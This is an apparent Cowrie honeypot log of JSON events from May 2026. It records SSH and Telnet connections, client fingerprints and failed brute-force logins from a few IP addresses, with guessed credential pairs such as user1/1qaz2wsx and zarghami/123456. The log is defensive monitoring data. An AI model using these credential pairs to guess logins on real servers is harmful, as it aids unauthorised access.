{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:23.076976Z","src_ip":"176.65.132.129","session":"5592b6633a53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:23.325374Z","src_ip":"176.65.132.129","session":"5592b6633a53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":43411,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdd0218a6fc5","protocol":"ssh","message":"New connection: 193.106.245.20:43411 (10.17.0.5:22) [session: bdd0218a6fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:23.916022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:23.921837Z","src_ip":"193.106.245.20","session":"bdd0218a6fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.3434636592865,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:23.989631Z","src_ip":"45.58.127.90","session":"b6159b52374f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:24.045847Z","src_ip":"193.106.245.20","session":"bdd0218a6fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:24.409818Z","src_ip":"176.65.132.129","session":"5592b6633a53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz2wsx","message":"login attempt [user1/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:24.569134Z","src_ip":"193.106.245.20","session":"bdd0218a6fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.44371056556702,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:25.214993Z","src_ip":"45.58.127.90","session":"338a31704851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:25.693614Z","src_ip":"193.106.245.20","session":"bdd0218a6fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40454,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad255f1047de","protocol":"ssh","message":"New connection: 176.65.132.129:40454 (159.203.135.109:22) [session: ad255f1047de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:26.378413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:26.395015Z","src_ip":"176.65.132.129","session":"ad255f1047de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:26.480442Z","src_ip":"176.65.132.129","session":"ad255f1047de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:26.728061Z","src_ip":"176.65.132.129","session":"ad255f1047de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:27.814431Z","src_ip":"176.65.132.129","session":"ad255f1047de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40470,"dst_ip":"159.203.135.109","dst_port":22,"session":"7164192824dd","protocol":"ssh","message":"New connection: 176.65.132.129:40470 (159.203.135.109:22) [session: 7164192824dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:29.908208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:29.921399Z","src_ip":"176.65.132.129","session":"7164192824dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:29.992398Z","src_ip":"176.65.132.129","session":"7164192824dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:30.313612Z","src_ip":"176.65.132.129","session":"7164192824dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:31.401109Z","src_ip":"176.65.132.129","session":"7164192824dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40478,"dst_ip":"159.203.135.109","dst_port":22,"session":"323a2f54d28c","protocol":"ssh","message":"New connection: 176.65.132.129:40478 (159.203.135.109:22) [session: 323a2f54d28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:33.311606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:33.319691Z","src_ip":"176.65.132.129","session":"323a2f54d28c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:33.401756Z","src_ip":"176.65.132.129","session":"323a2f54d28c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:33.646291Z","src_ip":"176.65.132.129","session":"323a2f54d28c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:34.732565Z","src_ip":"176.65.132.129","session":"323a2f54d28c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41432,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd8fc0fddffb","protocol":"telnet","message":"New connection: 45.58.127.90:41432 (10.17.0.5:23) [session: bd8fc0fddffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:36.017099Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41438,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9509dcd037f","protocol":"telnet","message":"New connection: 45.58.127.90:41438 (10.17.0.5:23) [session: d9509dcd037f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:36.542135Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36970,"dst_ip":"159.203.135.109","dst_port":22,"session":"f92f79738ce5","protocol":"ssh","message":"New connection: 176.65.132.129:36970 (159.203.135.109:22) [session: f92f79738ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:36.683637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:36.690109Z","src_ip":"176.65.132.129","session":"f92f79738ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:36.772120Z","src_ip":"176.65.132.129","session":"f92f79738ce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:37.016758Z","src_ip":"176.65.132.129","session":"f92f79738ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:38.104591Z","src_ip":"176.65.132.129","session":"f92f79738ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.68653392791748,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:39.921776Z","src_ip":"45.58.127.90","session":"f20223420dee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36980,"dst_ip":"159.203.135.109","dst_port":22,"session":"026844662d51","protocol":"ssh","message":"New connection: 176.65.132.129:36980 (159.203.135.109:22) [session: 026844662d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:40.068332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:40.184056Z","src_ip":"176.65.132.129","session":"026844662d51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:40.188429Z","src_ip":"176.65.132.129","session":"026844662d51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:40.569308Z","src_ip":"176.65.132.129","session":"026844662d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:41.655296Z","src_ip":"176.65.132.129","session":"026844662d51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36984,"dst_ip":"159.203.135.109","dst_port":22,"session":"47a704b8e69b","protocol":"ssh","message":"New connection: 176.65.132.129:36984 (159.203.135.109:22) [session: 47a704b8e69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:43.685629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:43.690306Z","src_ip":"176.65.132.129","session":"47a704b8e69b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:43.773604Z","src_ip":"176.65.132.129","session":"47a704b8e69b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:44.024134Z","src_ip":"176.65.132.129","session":"47a704b8e69b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:45.111078Z","src_ip":"176.65.132.129","session":"47a704b8e69b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47510,"dst_ip":"10.17.0.5","dst_port":23,"session":"47bad1e26550","protocol":"telnet","message":"New connection: 45.58.127.90:47510 (10.17.0.5:23) [session: 47bad1e26550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:45.827675Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59048,"dst_ip":"159.203.135.109","dst_port":22,"session":"46a2c7081f47","protocol":"ssh","message":"New connection: 176.65.132.129:59048 (159.203.135.109:22) [session: 46a2c7081f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:02:47.045564Z"}
